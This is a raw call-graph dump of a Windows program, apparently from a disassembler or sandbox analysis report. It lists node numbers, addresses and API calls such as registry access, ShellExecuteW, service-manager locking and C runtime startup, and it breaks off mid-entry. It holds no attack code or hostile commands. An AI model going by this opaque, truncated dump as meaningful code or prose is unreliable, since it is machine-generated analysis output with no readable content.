430eec 49953->49947 49954 430ef9 CoInitializeSecurity 49953->49954 49955 430f17 __lock 49954->49955 49980 4301be CoTaskMemAlloc 49955->49980 49978 418b39 58 API calls ctype 49956->49978 49959 430f25 49960 430faa __lock 49959->49960 49962 416d00 34 API calls 49959->49962 49963 431019 CoCreateInstanceEx 49960->49963 49966 430f55 49960->49966 49961 430e52 49961->49922 49965 430f41 49962->49965 49963->49947 49964 43104d 49963->49964 49964->49947 49967 431080 49964->49967 49968 43105d CoSetProxyBlanket 49964->49968 49965->49966 49981 41728c 34 API calls 49965->49981 49966->49960 49967->49951 49970 431094 49967->49970 49968->49967 49970->49947 49971 430f73 49982 416cee 34 API calls 49971->49982 49973 430f7b 49983 4172d5 34 API calls 49973->49983 49975 430fa2 49984 416cee 34 API calls 49975->49984 49977->49961 49978->49961 49979->49953 49980->49959 49981->49971 49982->49973 49983->49975 49984->49960 49985 458276 49990 41a0dd 49985->49990 49989 45828a 49991 41a0ea _fast_error_exit 49990->49991 50031 4108ad 18 API calls 49991->50031 49993 41a0f7 49994 416bde 34 API calls 49993->49994 49995 41a102 49994->49995 49996 416bde 34 API calls 49995->49996 49997 41a10d 49996->49997 49998 416bde 34 API calls 49997->49998 49999 41a118 49998->49999 50000 416bde 34 API calls 49999->50000 50001 41a123 50000->50001 50002 416bde 34 API calls 50001->50002 50003 41a12e 50002->50003 50004 416bde 34 API calls 50003->50004 50005 41a139 50004->50005 50006 416bde 34 API calls 50005->50006 50007 41a144 50006->50007 50008 416bde 34 API calls 50007->50008 50009 41a14f 50008->50009 50010 416bde 34 API calls 50009->50010 50011 41a15a 50010->50011 50012 416bde 34 API calls 50011->50012 50013 41a165 50012->50013 50014 416bde 34 API calls 50013->50014 50015 41a1b4 50014->50015 50032 403465 34 API calls 50015->50032 50017 41a231 50033 402a44 34 API calls 50017->50033 50019 41a253 50020 416bde 34 API calls 50019->50020 50021 41a25e 50020->50021 50022 416bde 34 API calls 50021->50022 50023 41a269 50022->50023 50024 416d00 34 API calls 50023->50024 50025 41a302 50024->50025 50026 449170 34 API calls 50025->50026 50029 41f74f 50026->50029 50027 41f7da 50030 449646 38 API calls 50027->50030 50028 416034 34 API calls 50028->50029 50029->50027 50029->50028 50030->49989 50031->49993 50032->50017 50033->50019 50034 4582c6 50039 40f71a 50034->50039 50038 4582db 50040 40f727 _fast_error_exit 50039->50040 50041 449170 34 API calls 50040->50041 50042 40f76f GetModuleFileNameW 50041->50042 50043 40f7a3 50042->50043 50044 449170 34 API calls 50043->50044 50045 40f7db 50044->50045 50046 40f7fe RegOpenKeyExW 50045->50046 50047 40f930 50046->50047 50048 40f823 RegQueryValueExW 50046->50048 50052 449646 38 API calls 50047->50052 50049 40f927 RegCloseKey 50048->50049 50051 40f84d 50048->50051 50049->50047 50050 449170 34 API calls 50050->50051 50051->50049 50051->50050 50052->50038 50053 44faf0 50054 44fb2c 50053->50054 50074 44fb25 50053->50074 50055 44fb56 50054->50055 50056 44fb6a 50054->50056 50080 455696 36 API calls 2 library calls 50055->50080 50058 44fc04 WriteFile 50056->50058 50066 44fb78 50056->50066 50060 44fc1c 50058->50060 50061 44fc28 GetLastError 50058->50061 50063 44fc64 50060->50063 50068 44fc3d 50060->50068 50060->50074 50061->50060 50062 44fb65 50062->50056 50063->50074 50084 44d915 34 API calls __lock 50063->50084 50066->50063 50069 44fbc9 WriteFile 50066->50069 50067 44fc7e 50085 44d91e 34 API calls __lock 50067->50085 50071 44fc45 50068->50071 50072 44fc59 50068->50072 50069->50061 50073 44fb8c 50069->50073 50081 44d915 34 API calls __lock 50071->50081 50083 44d927 34 API calls __lock 50072->50083 50073->50060 50073->50066 50077 44fc02 50073->50077 50086 44c969 50074->50086 50077->50060 50078 44fc4a 50082 44d91e 34 API calls __lock 50078->50082 50080->50062 50081->50078 50082->50074 50083->50074 50084->50067 50085->50074 50087 44c971 50086->50087 50088 44c938 ___free_lc_time 50086->50088 50092 4545bb 34 API calls 5 library calls 50088->50092 50093 458322 50096 403f24 DeleteObject DestroyWindow InvalidateRect 50093->50096 50097 45828c 50102 412519 50097->50102 50101 4582a0 50103 412537 50102->50103 50104 416bde 34 API calls 50103->50104 50105 412544 50103->50105 50104->50103 50109 4129c0 50105->50109 50108 449646 38 API calls 50108->50101 50110 412550 50109->50110 50111 4129d2 __lock 50109->50111 50110->50108 50112 4129f6 CreateIcon 50111->50112 50112->50110 50113 45833c 50116 41f7e3 50113->50116 50117 41f7f6 50116->50117 50118 41f822 mciSendStringW 50117->50118 50119 41f81b DestroyWindow 50117->50119 50126 41f83a 50118->50126 50130 41f88c 50118->50130 50119->50118 50120 41f856 UnregisterHotKey 50120->50126 50122 41f90d 50142 43138d 50122->50142 50124 4183f6 ctype VariantClear 50125 41f9a9 50124->50125 50150 4217e3 CloseHandle CloseHandle CloseHandle CloseHandle ctype 50125->50150 50126->50120 50126->50130 50127 41f8d4 FindClose 50127->50130 50129 413e1f 47 API calls 50129->50130 50130->50122 50130->50127 50130->50129 50143 431399 50142->50143 50144 4313a2 50143->50144 50151 421751 VariantClear 50143->50151 50146 418ad9 35 API calls 50144->50146 50147 4313c5 50146->50147 50148 41f99e 50147->50148 50149 4313cd CoUninitialize 50147->50149 50148->50124 50149->50148 50151->50143 50152 44be98 50153 44bea4 _fast_error_exit ___free_lc_time 50152->50153 50154 44beb0 GetVersionExA 50153->50154 50155 44beec 50154->50155 50156 44bef8 GetModuleHandleA 50154->50156 50155->50156 50158 44bf14 50156->50158 50195 44e07d HeapCreate 50158->50195 50159 44bf66 50160 44bf72 50159->50160 50312 44be74 34 API calls _fast_error_exit 50159->50312 50202 44c499 50160->50202 50163 44bf78 50164 44bf83 50163->50164 50313 44be74 34 API calls _fast_error_exit 50163->50313 50220 4505a6 50164->50220 50168 44bf9c 50237 4536f2 50168->50237 50175 44bfb6 50176 44bfc1 50175->50176 50315 44be4f 34 API calls _fast_error_exit 50175->50315 50280 4532bf 50176->50280 50180 44bfd2 50290 44ae57 50180->50290 50184 44bfe9 GetStartupInfoW 50185 44bffb 50184->50185 50188 44c00d GetModuleHandleA 50185->50188 50187 44bfe8 50187->50184 50294 401852 50188->50294 50191 44c02b 50318 44afa6 34 API calls _fast_error_exit 50191->50318 50194 44c030 ___free_lc_time 50196 44e0c7 50195->50196 50197 44e09d 50195->50197 50196->50159 50198 44e0ca 50197->50198 50319 44e0ce RtlAllocateHeap 50197->50319 50198->50159 50200 44e0b6 50200->50198 50201 44e0bb HeapDestroy 50200->50201 50201->50196 50320 44c588 GetProcAddress __lock 50202->50320 50204 44c49e 50205 44c4a2 50204->50205 50208 44c4aa 50204->50208 50321 44c282 37 API calls ___free_lc_time 50205->50321 50207 44c4a7 50207->50163 50209 44c4bd GetProcAddress GetProcAddress GetProcAddress GetProcAddress 50208->50209 50210 44c528 FlsAlloc 50208->50210 50209->50210 50211 44c500 50209->50211 50212 44c53d 50210->50212 50213 44c57e 50210->50213 50211->50210 50322 4504cf 34 API calls 3 library calls 50212->50322 50323 44c282 37 API calls ___free_lc_time 50213->50323 50216 44c54b 50216->50213 50218 44c553 FlsSetValue 50216->50218 50217 44c583 50217->50163 50218->50213 50219 44c564 GetCurrentThreadId 50218->50219 50219->50217 50324 449adf 50220->50324 50223 4505fb GetStartupInfoA 50224 4506fe 50223->50224 50234 450615 50223->50234 50225 45078e SetHandleCount 50224->50225 50226 45072d GetStdHandle 50224->50226 50236 450752 50224->50236 50227 44bf91 50225->50227 50226->50224 50228 45073b GetFileType 50226->50228 50227->50168 50314 44be4f 34 API calls _fast_error_exit 50227->50314 50228->50224 50229 449adf __getbuf 34 API calls 50229->50234 50230 450686 50230->50224 50231 4506b7 50230->50231 50232 4506ac GetFileType 50230->50232 50231->50227 50231->50230 50327 454432 GetProcAddress ___free_lc_time 50231->50327 50232->50230 50232->50231 50234->50224 50234->50229 50234->50230 50236->50224 50236->50227 50328 454432 GetProcAddress ___free_lc_time 50236->50328 50238 453705 GetCommandLineW 50237->50238 50239 453732 50237->50239 50242 453717 GetLastError 50238->50242 50243 45370b 50238->50243 50240 453737 GetCommandLineW 50239->50240 50241 453722 50239->50241 50251 44bfa2 50240->50251 50244 453740 GetCommandLineA MultiByteToWideChar 50241->50244 50241->50251 50242->50241 50242->50251 50243->50240 50245 453760 50244->50245 50244->50251 50246 449adf __getbuf 34 API calls 50245->50246 50247 453769 50246->50247 50248 453770 MultiByteToWideChar 50247->50248 50247->50251 50249 45377f 50248->50249 50248->50251 50329 449c88 50249->50329 50252 453588 50251->50252 50253 4535c2 50252->50253 50254 4535a3 GetEnvironmentStringsW 50252->50254 50256 4535ab 50253->50256 50257 45362e 50253->50257 50255 4535b7 GetLastError 50254->50255 50254->50256 50255->50253 50259 4535e9 50256->50259 50260 4535da GetEnvironmentStringsW 50256->50260 50258 453637 GetEnvironmentStrings 50257->50258 50261 44bfac 50257->50261 50258->50261 50267 453643 _strlen 50258->50267 50262 449adf __getbuf 34 API calls 50259->50262 50260->50259 50260->50261 50276 4534f2 GetModuleFileNameW 50261->50276 50272 45360a 50262->50272 50263 45366d 50265 449adf __getbuf 34 API calls 50263->50265 50264 45364a MultiByteToWideChar 50264->50261 50264->50267 50266 45367b _strlen 50265->50266 50268 4536e6 FreeEnvironmentStringsA 50266->50268 50270 4536c7 FreeEnvironmentStringsA 50266->50270 50271 45368d MultiByteToWideChar 50266->50271 50267->50263 50267->50264 50268->50261 50269 453613 FreeEnvironmentStringsW 50269->50261 50270->50261 50271->50266 50273 4536dc 50271->50273 50272->50269 50274 449c88 ___free_lc_time 34 API calls 50273->50274 50275 4536e5 50274->50275 50275->50268 50277 453524 50276->50277 50278 449adf __getbuf 34 API calls 50277->50278 50279 45354f 50278->50279 50279->50175 50281 4532d8 50280->50281 50283 44bfc7 50280->50283 50282 449adf __getbuf 34 API calls 50281->50282 50288 453300 50282->50288 50283->50180 50316 44be4f 34 API calls _fast_error_exit 50283->50316 50284 45334e 50285 449c88 ___free_lc_time 34 API calls 50284->50285 50285->50283 50286 449adf __getbuf 34 API calls 50286->50288 50287 453373 50289 449c88 ___free_lc_time 34 API calls 50287->50289 50288->50283 50288->50284 50288->50286 50288->50287 50289->50283 50291 44ae60 50290->50291 50293 44ae9c 50291->50293 50341 449646 38 API calls 50291->50341 50293->50184 50317 44be4f 34 API calls _fast_error_exit 50293->50317 50342 401904 50294->50342 50297 401890 50346 44917e 50297->50346 50300 4018a1 50351 412124 50300->50351 50304 4018c1 50367 40109d GetCurrentDirectoryW 50304->50367 50308 4018d2 50308->50191 50309 44af84 50308->50309 51137 44aec1 50309->51137 50311 44af91 50311->50191 50312->50160 50313->50164 50314->50168 50315->50176 50316->50180 50317->50187 50318->50194 50319->50200 50320->50204 50321->50207 50322->50216 50323->50217 50325 449ab3 __getbuf 34 API calls 50324->50325 50326 449aee 50325->50326 50326->50223 50326->50227 50327->50231 50328->50236 50332 449c94 ___free_lc_time 50329->50332 50330 449cf3 ___free_lc_time 50330->50251 50331 449cd0 50331->50330 50333 449ce5 RtlFreeHeap 50331->50333 50332->50330 50332->50331 50334 44c6db __lock 33 API calls 50332->50334 50333->50330 50335 449cab ___free_lc_time 50334->50335 50338 449cc5 50335->50338 50339 44e141 VirtualFree VirtualFree HeapFree __shift 50335->50339 50340 449cdb RtlLeaveCriticalSection __lock 50338->50340 50339->50338 50340->50331 50341->50293 50343 401884 50342->50343 50344 40190a LoadLibraryA 50342->50344 50343->50297 50407 4018ee LoadLibraryA GetProcAddress 50343->50407 50344->50343 50345 40191b GetProcAddress 50344->50345 50345->50343 50347 44c6db __lock 34 API calls 50346->50347 50348 449186 50347->50348 50409 44c626 RtlLeaveCriticalSection 50348->50409 50350 44919c 50350->50300 50410 40ea76 GetVersionExW 50351->50410 50354 41214d SystemParametersInfoW SystemParametersInfoW 50355 4018b4 50354->50355 50356 401961 50355->50356 50357 40196e _fast_error_exit 50356->50357 50358 416d00 34 API calls 50357->50358 50359 401985 50358->50359 50360 401afd 50359->50360 50361 401a32 50359->50361 50363 416bfe 34 API calls 50359->50363 50440 401b0d 34 API calls 50359->50440 50360->50304 50361->50360 50362 416bfe 34 API calls 50361->50362 50364 401af2 50362->50364 50363->50359 50441 401b0d 34 API calls 50364->50441 50442 4013e2 50367->50442 50369 4010cb 50370 4010d3 50369->50370 50371 4010e6 50369->50371 50554 40fa56 34 API calls 50370->50554 50505 40fee1 50371->50505 50375 4010e4 50515 40feaf 50375->50515 50376 401110 GetFullPathNameW 50376->50375 50378 40126b SetCurrentDirectoryW 50380 401278 50378->50380 50408 412178 SystemParametersInfoW 50380->50408 50383 401180 50385 40123e 50383->50385 50535 41629f 50383->50535 50384 40115a 50386 401164 SetCurrentDirectoryW 50384->50386 50544 40127d GetSysColorBrush LoadCursorW LoadIconW LoadIconW 50385->50544 50386->50380 50391 40119c 50391->50385 50393 4011a4 GetModuleFileNameW 50391->50393 50392 401248 50394 401258 50392->50394 50557 4128c6 69 API calls 50392->50557 50395 401214 GetForegroundWindow ShellExecuteW 50393->50395 50396 4011be 50393->50396 50400 4200f5 332 API calls 50394->50400 50397 401101 50395->50397 50399 416bfe 34 API calls 50396->50399 50397->50378 50401 4011cc 50399->50401 50400->50397 50555 416ee1 34 API calls 50401->50555 50403 4011d9 50556 416ee1 34 API calls 50403->50556 50405 4011e4 GetForegroundWindow ShellExecuteW 50406 401211 50405->50406 50406->50397 50407->50297 50408->50308 50409->50350 50412 40eac0 50410->50412 50411 40ecfe GetCurrentProcess 50426 40edd4 50411->50426 50412->50411 50415 40ed44 50429 40ee00 50415->50429 50416 40ed86 GetSystemInfo 50420 40ed70 50416->50420 50419 40ed65 50419->50420 50424 40ed6b FreeLibrary 50419->50424 50421 40edc6 FreeLibrary 50420->50421 50422 40edcb 50420->50422 50421->50422 50422->50354 50422->50355 50424->50420 50436 40ee27 50426->50436 50430 40ed52 50429->50430 50431 40ee06 LoadLibraryA 50429->50431 50430->50419 50433 40edea 50430->50433 50431->50430 50432 40ee17 GetProcAddress 50431->50432 50432->50430 50434 40ee00 2 API calls 50433->50434 50435 40ed63 GetNativeSystemInfo 50434->50435 50435->50419 50437 40ed1a 50436->50437 50438 40ee2d LoadLibraryA 50436->50438 50437->50415 50437->50416 50438->50437 50439 40ee3e GetProcAddress 50438->50439 50439->50437 50440->50359 50441->50360 50443 416bde 34 API calls 50442->50443 50444 4013f3 GetModuleFileNameW 50443->50444 50558 418b0c 50444->50558 50447 416bfe 34 API calls 50448 401438 50447->50448 50449 416990 39 API calls 50448->50449 50450 401448 50449->50450 50451 418a14 VariantClear 50450->50451 50452 401452 50451->50452 50453 416bfe 34 API calls 50452->50453 50454 401463 50453->50454 50455 416990 39 API calls 50454->50455 50456 401472 50455->50456 50457 416bfe 34 API calls 50456->50457 50458 401487 50457->50458 50459 4169e0 CharUpperBuffW 50458->50459 50460 401494 50459->50460 50565 401b2f 50460->50565 50462 4014ab 50572 44907d 50462->50572 50465 4014d2 50467 44907d 62 API calls 50465->50467 50466 401b2f 34 API calls 50466->50465 50468 4014df 50467->50468 50469 4014f9 50468->50469 50470 401b2f 34 API calls 50468->50470 50471 44907d 62 API calls 50469->50471 50470->50469 50472 401506 50471->50472 50473 401548 50472->50473 50474 40150f GetModuleFileNameW 50472->50474 50475 44907d 62 API calls 50473->50475 50476 401b2f 34 API calls 50474->50476 50477 401555 50475->50477 50478 40152f 50476->50478 50480 401b2f 34 API calls 50477->50480 50486 401585 50477->50486 50585 416cee 34 API calls 50478->50585 50483 40156b 50480->50483 50481 4015a7 50485 419c9c 35 API calls 50481->50485 50482 40153a 50484 401b2f 34 API calls 50482->50484 50489 401b2f 34 API calls 50483->50489 50484->50473 50487 4015b9 50485->50487 50486->50481 50488 401b2f 34 API calls 50486->50488 50490 419d56 35 API calls 50487->50490 50488->50481 50489->50486 50491 4015cb 50490->50491 50492 419c9c 35 API calls 50491->50492 50493 4015d2 50492->50493 50579 419e5c 50493->50579 50496 418a14 VariantClear 50504 4015ec 50496->50504 50497 401629 50498 4183f6 ctype VariantClear 50497->50498 50500 401631 50498->50500 50499 419c9c 35 API calls 50499->50504 50500->50369 50501 419e5c 34 API calls 50501->50504 50502 418b0c 35 API calls 50502->50504 50503 401b2f 34 API calls 50503->50504 50504->50497 50504->50499 50504->50501 50504->50502 50504->50503 50506 40fef6 __lock 50505->50506 50507 414e6e 35 API calls 50506->50507 50511 4010fd 50506->50511 50508 40ff5e 50507->50508 50601 414e97 50508->50601 50510 40ff65 50608 40fb2e GetFullPathNameW 50510->50608 50511->50376 50511->50397 50513 40ff90 50618 410562 50513->50618 50516 401141 50515->50516 50517 40feb6 50515->50517 50519 41fea4 50516->50519 50518 449170 34 API calls 50517->50518 50518->50516 50520 449170 34 API calls 50519->50520 50526 41fecf 50520->50526 50521 41ff4e 51127 435b03 77 API calls 50521->51127 50524 41ff5b 50525 401156 50524->50525 51128 420499 79 API calls 50524->51128 50525->50383 50525->50384 50526->50521 50526->50525 51126 42859b 77 API calls 50526->51126 50528 41ff64 50528->50525 50529 41ff6d GetFullPathNameW 50528->50529 50530 416d00 34 API calls 50529->50530 50531 41ff99 50530->50531 50532 416d00 34 API calls 50531->50532 50533 41ffa8 50532->50533 50534 416d00 34 API calls 50533->50534 50534->50525 50536 4162aa 50535->50536 50537 4162ae OpenSCManagerW 50535->50537 50536->50391 50538 4162e9 50537->50538 50539 4162bf LockServiceDatabase 50537->50539 50538->50391 50540 4162d3 GetLastError 50539->50540 50541 4162ca UnlockServiceDatabase 50539->50541 50542 4162e0 50540->50542 50543 4162e2 CloseServiceHandle 50540->50543 50541->50542 50542->50543 50543->50538 50545 4012e9 LoadImageW 50544->50545 50546 4012cf 50544->50546 50547 4012ff RegisterClassExW 50545->50547 50546->50545 50548 4012d8 50546->50548 51133 404205 GetSysColorBrush RegisterClassExW RegisterClipboardFormatW 50547->51133 51129 416168 50548->51129 50553 401371 CreateWindowExW CreateWindowExW ShowWindow ShowWindow 50553->50392 50554->50375 50555->50403 50556->50405 50557->50394 50559 4183f6 ctype VariantClear 50558->50559 50560 418b13 50559->50560 50561 449170 34 API calls 50560->50561 50562 418b21 50561->50562 50563 401428 50562->50563 50564 416c4c 34 API calls 50562->50564 50563->50447 50564->50563 50566 401b48 50565->50566 50567 401b39 50565->50567 50586 416cee 34 API calls 50566->50586 50568 416d00 34 API calls 50567->50568 50569 401b44 50568->50569 50569->50462 50571 401b5a 50571->50462 50587 44c2b2 GetLastError FlsGetValue 50572->50587 50574 449086 50578 449099 50574->50578 50597 44c23e 34 API calls 3 library calls 50574->50597 50576 44b526 62 API calls 50576->50578 50577 4014b8 50577->50465 50577->50466 50578->50576 50578->50577 50581 419e63 50579->50581 50580 4015e2 50580->50496 50581->50580 50582 449170 34 API calls 50581->50582 50583 419e89 50582->50583 50583->50580 50600 418198 34 API calls 50583->50600 50585->50482 50586->50571 50588 44c317 SetLastError 50587->50588 50589 44c2ce 50587->50589 50588->50574 50598 4504cf 34 API calls 3 library calls 50589->50598 50591 44c2da 50592 44c2e2 FlsSetValue 50591->50592 50593 44c30f 50591->50593 50592->50593 50594 44c2f3 GetCurrentThreadId 50592->50594 50599 44be4f 34 API calls _fast_error_exit 50593->50599 50594->50588 50596 44c316 50596->50588 50597->50578 50598->50591 50599->50596 50600->50580 50650 449154 50601->50650 50603 414eb2 SHGetMalloc 50604 414ed3 SHGetDesktopFolder 50603->50604 50606 414ec2 50603->50606 50605 414ee1 50604->50605 50604->50606 50605->50606 50607 414f03 SHGetPathFromIDListW 50605->50607 50606->50510 50607->50606 50609 40fb7f 50608->50609 50612 40fb59 50608->50612 50610 416034 34 API calls 50609->50610 50611 40fb8b 50610->50611 50652 403d50 34 API calls 50611->50652 50612->50609 50614 44907d 62 API calls 50612->50614 50617 40fbae 50612->50617 50614->50612 50615 40fb9b 50653 403d50 34 API calls 50615->50653 50617->50513 50619 41056f _fast_error_exit 50618->50619 50654 442c1c 50619->50654 50622 410595 50624 4105f9 50622->50624 50625 41059a 50622->50625 50623 4105b9 50672 443162 50623->50672 50722 414469 53 API calls 50624->50722 50721 40ffa0 112 API calls _fast_error_exit 50625->50721 50630 41060d 50643 4105b4 50630->50643 50631 443162 67 API calls 50633 4105e7 50631->50633 50634 4105eb 50633->50634 50646 410617 50633->50646 50634->50624 50636 4105f1 50634->50636 50635 410714 50637 449c88 ___free_lc_time 34 API calls 50635->50637 50639 44a855 46 API calls 50636->50639 50640 410722 50637->50640 50639->50624 50640->50643 50713 44a855 50640->50713 50643->50511 50646->50635 50709 410414 50646->50709 50723 40fe2c 62 API calls 50646->50723 50724 40fdf3 54 API calls 50646->50724 50725 40fdc4 54 API calls 50646->50725 50726 449d8c 54 API calls 50646->50726 50727 40fac3 34 API calls 50646->50727 50728 41073c 64 API calls 50646->50728 50729 40fa56 34 API calls 50646->50729 50651 44915c 50650->50651 50651->50603 50651->50651 50652->50615 50653->50617 50655 4168a2 36 API calls 50654->50655 50656 442c32 50655->50656 50657 4168a2 36 API calls 50656->50657 50658 442c3f _strcat 50657->50658 50730 442a91 50658->50730 50664 442cc1 50665 442cd2 50664->50665 50666 442cc9 50664->50666 50746 44a98f 50665->50746 50667 44a855 46 API calls 50666->50667 50669 410591 50667->50669 50669->50622 50669->50623 50670 442cdf 50754 44be0e 50670->50754 50673 4168a2 36 API calls 50672->50673 50674 44317a _strcat 50673->50674 50675 44a64b 45 API calls 50674->50675 50676 4431af 50675->50676 51015 4432ef 50676->51015 50679 44a98f 44 API calls 50680 4431de 50679->50680 50681 44a98f 44 API calls 50680->50681 50682 4431ec 50681->50682 50683 44a98f 44 API calls 50682->50683 50684 443205 50683->50684 50685 44a98f 44 API calls 50684->50685 50686 44321e 50685->50686 50687 44a64b 45 API calls 50686->50687 50688 443235 50687->50688 50689 449adf __getbuf 34 API calls 50688->50689 50690 44323f 50689->50690 50691 449adf __getbuf 34 API calls 50690->50691 50692 443248 50691->50692 50693 44a98f 44 API calls 50692->50693 50694 443256 50693->50694 51021 442e08 50694->51021 50696 44326c 50697 443291 50696->50697 50698 44327c 50696->50698 50700 4432d3 50697->50700 50704 443297 50697->50704 50699 449c88 ___free_lc_time 34 API calls 50698->50699 50702 443284 50699->50702 50701 449c88 ___free_lc_time 34 API calls 50700->50701 50705 4105ce 50701->50705 50703 449c88 ___free_lc_time 34 API calls 50702->50703 50703->50705 51025 441b62 50704->51025 50705->50631 50705->50646 50708 449c88 ___free_lc_time 34 API calls 50708->50705 50710 410421 _fast_error_exit 50709->50710 50712 410433 50710->50712 51068 41684e 36 API calls _strlen 50710->51068 50712->50646 50714 44a861 ___free_lc_time 50713->50714 50715 44b8fc 35 API calls 50714->50715 50716 44a86e ___free_lc_time 50714->50716 50717 44a881 50715->50717 50716->50643 51069 44a809 50717->51069 50721->50643 50722->50630 50723->50646 50724->50646 50725->50646 50726->50646 50727->50646 50728->50646 50729->50646 50731 442a9e _strlen 50730->50731 50762 44220e 50731->50762 50734 44bc99 50783 44bc3d 50734->50783 50736 442caf 50736->50669 50737 442d0d 50736->50737 50738 442d1a _strcat _fast_error_exit 50737->50738 50739 44a98f 44 API calls 50738->50739 50740 44a64b 45 API calls 50738->50740 50741 442dc3 50738->50741 50745 442de3 50738->50745 50739->50738 50740->50738 50742 44a64b 45 API calls 50741->50742 50743 442dd1 50742->50743 50744 44a98f 44 API calls 50743->50744 50744->50745 50745->50664 50747 44a99b ___free_lc_time 50746->50747 50874 44b8fc 50747->50874 50749 44a9a3 50880 44a8a6 50749->50880 50753 44a9c8 ___free_lc_time 50753->50670 50755 44be1a ___free_lc_time 50754->50755 50756 44b8fc 35 API calls 50755->50756 50757 44be22 50756->50757 50959 44bcac 50757->50959 50761 44be3c ___free_lc_time 50761->50669 50763 442226 __lock _fast_error_exit 50762->50763 50765 4422b2 50763->50765 50766 44a129 50763->50766 50765->50734 50771 44eda8 50766->50771 50770 44a166 50770->50763 50772 44f527 50771->50772 50779 44edf4 __aulldvrm _strlen 50771->50779 50773 44c969 _fast_error_exit 34 API calls 50772->50773 50774 44a158 50773->50774 50774->50770 50782 44cbd4 43 API calls 2 library calls 50774->50782 50775 44ed1a 43 API calls _write_multi_char 50775->50779 50776 449adf __getbuf 34 API calls 50776->50779 50777 455332 35 API calls _write_multi_char 50777->50779 50778 449c88 ___free_lc_time 34 API calls 50778->50779 50779->50772 50779->50775 50779->50776 50779->50777 50779->50778 50780 44ed4d 43 API calls _write_multi_char 50779->50780 50781 44ed71 43 API calls 50779->50781 50780->50779 50781->50779 50782->50770 50784 44bc49 ___free_lc_time 50783->50784 50794 44f6d3 50784->50794 50786 44bc4e 50787 44bc64 50786->50787 50788 44bc55 50786->50788 50814 452f60 50787->50814 50818 44d915 34 API calls __lock 50788->50818 50793 44bc5a ___free_lc_time 50793->50736 50795 44f6df ___free_lc_time 50794->50795 50796 44c6db __lock 34 API calls 50795->50796 50806 44f6ed 50796->50806 50797 44f75a 50820 44f7ec 50797->50820 50798 44f75e 50800 449adf __getbuf 34 API calls 50798->50800 50802 44f768 50800->50802 50801 44f7e1 ___free_lc_time 50801->50786 50802->50797 50804 44f77e 50802->50804 50825 454432 GetProcAddress ___free_lc_time 50804->50825 50805 44c63b __lock 34 API calls 50805->50806 50806->50797 50806->50798 50806->50805 50823 44b92b 35 API calls __lock 50806->50823 50824 44b97d RtlLeaveCriticalSection RtlLeaveCriticalSection __lock 50806->50824 50808 44f78c 50809 44f797 50808->50809 50810 44f7aa RtlEnterCriticalSection 50808->50810 50812 449c88 ___free_lc_time 34 API calls 50809->50812 50810->50797 50813 44f79f 50812->50813 50813->50797 50817 452f7f 50814->50817 50815 44bc77 50819 44bc8f RtlLeaveCriticalSection RtlLeaveCriticalSection 50815->50819 50817->50815 50827 455e88 50817->50827 50818->50793 50819->50793 50826 44c626 RtlLeaveCriticalSection 50820->50826 50822 44f7f3 50822->50801 50823->50806 50824->50806 50825->50808 50826->50822 50828 455e94 ___free_lc_time 50827->50828 50833 455ba1 50828->50833 50832 455ec4 ___free_lc_time 50832->50815 50836 455bbc 50833->50836 50834 455c28 50835 44d915 __lock 34 API calls 50834->50835 50837 455c2d 50835->50837 50836->50834 50839 455c42 50836->50839 50838 44d91e _write_multi_char 34 API calls 50837->50838 50845 455c38 50838->50845 50840 455cb5 50839->50840 50843 455c8c 50839->50843 50841 44d915 __lock 34 API calls 50840->50841 50842 455cba 50841->50842 50844 44d91e _write_multi_char 34 API calls 50842->50844 50846 4509a2 37 API calls 50843->50846 50844->50845 50873 455ecd RtlLeaveCriticalSection _write_multi_char 50845->50873 50847 455d3a 50846->50847 50848 455d43 50847->50848 50849 455d5d CreateFileA 50847->50849 50852 44d915 __lock 34 API calls 50848->50852 50850 455d9c GetLastError 50849->50850 50851 455d8a GetFileType 50849->50851 50855 44d927 _write_multi_char 34 API calls 50850->50855 50853 455d95 CloseHandle 50851->50853 50854 455dab 50851->50854 50856 455d48 50852->50856 50853->50850 50858 4507a4 35 API calls 50854->50858 50855->50845 50857 44d91e _write_multi_char 34 API calls 50856->50857 50857->50845 50859 455dc6 50858->50859 50859->50845 50860 44f7f5 _write_multi_char 36 API calls 50859->50860 50861 455e09 50860->50861 50862 455e14 50861->50862 50863 455e3d 50861->50863 50864 44d91e _write_multi_char 34 API calls 50862->50864 50865 44ff81 40 API calls 50863->50865 50866 455e19 50864->50866 50867 455e4d 50865->50867 50866->50845 50870 44fd57 37 API calls 50866->50870 50868 455e63 50867->50868 50871 45705f 43 API calls 50867->50871 50868->50866 50869 44f7f5 _write_multi_char 36 API calls 50868->50869 50869->50866 50872 455e82 50870->50872 50871->50868 50873->50832 50875 44b920 RtlEnterCriticalSection 50874->50875 50876 44b909 50874->50876 50875->50749 50876->50875 50877 44b910 50876->50877 50878 44c6db __lock 34 API calls 50877->50878 50879 44b91e 50878->50879 50879->50749 50881 44a8c3 50880->50881 50884 44a8ca 50880->50884 50885 44a9d1 50881->50885 50884->50881 50888 45015e 50884->50888 50906 44fea0 50884->50906 50952 44b94e 50885->50952 50887 44a9d9 50887->50753 50889 45016a ___free_lc_time 50888->50889 50890 4501ed 50889->50890 50892 450195 50889->50892 50943 44d915 34 API calls __lock 50890->50943 50912 4508e0 50892->50912 50893 4501f2 50944 44d91e 34 API calls __lock 50893->50944 50896 45019b 50897 4501bd 50896->50897 50898 4501a9 50896->50898 50940 44d915 34 API calls __lock 50897->50940 50924 44ff81 50898->50924 50901 4501b5 50942 4501e5 RtlLeaveCriticalSection _write_multi_char 50901->50942 50902 4501c2 50941 44d91e 34 API calls __lock 50902->50941 50903 4501dd ___free_lc_time 50903->50884 50907 44febc 50906->50907 50908 44feb0 50906->50908 50907->50884 50908->50907 50909 44fed9 50908->50909 50951 45492b 34 API calls __getbuf 50908->50951 50911 45015e 42 API calls 50909->50911 50911->50907 50913 4508ec ___free_lc_time 50912->50913 50914 45094e RtlEnterCriticalSection 50913->50914 50916 44c6db __lock 34 API calls 50913->50916 50915 45096e ___free_lc_time 50914->50915 50915->50896 50917 450914 50916->50917 50918 450945 50917->50918 50919 45091d 50917->50919 50946 450977 RtlLeaveCriticalSection __lock 50918->50946 50945 454432 GetProcAddress ___free_lc_time 50919->50945 50922 45092b 50922->50918 50923 450931 __lock 50922->50923 50923->50915 50925 450022 50924->50925 50927 44ff9d 50924->50927 50925->50901 50926 44ffec ReadFile 50928 450005 GetLastError 50926->50928 50937 45003e 50926->50937 50927->50925 50927->50926 50929 450012 50928->50929 50930 450026 50928->50930 50947 44d915 34 API calls __lock 50929->50947 50930->50925 50949 44d927 34 API calls __lock 50930->50949 50932 450017 50948 44d91e 34 API calls __lock 50932->50948 50935 4500ba ReadFile 50936 4500d8 GetLastError 50935->50936 50938 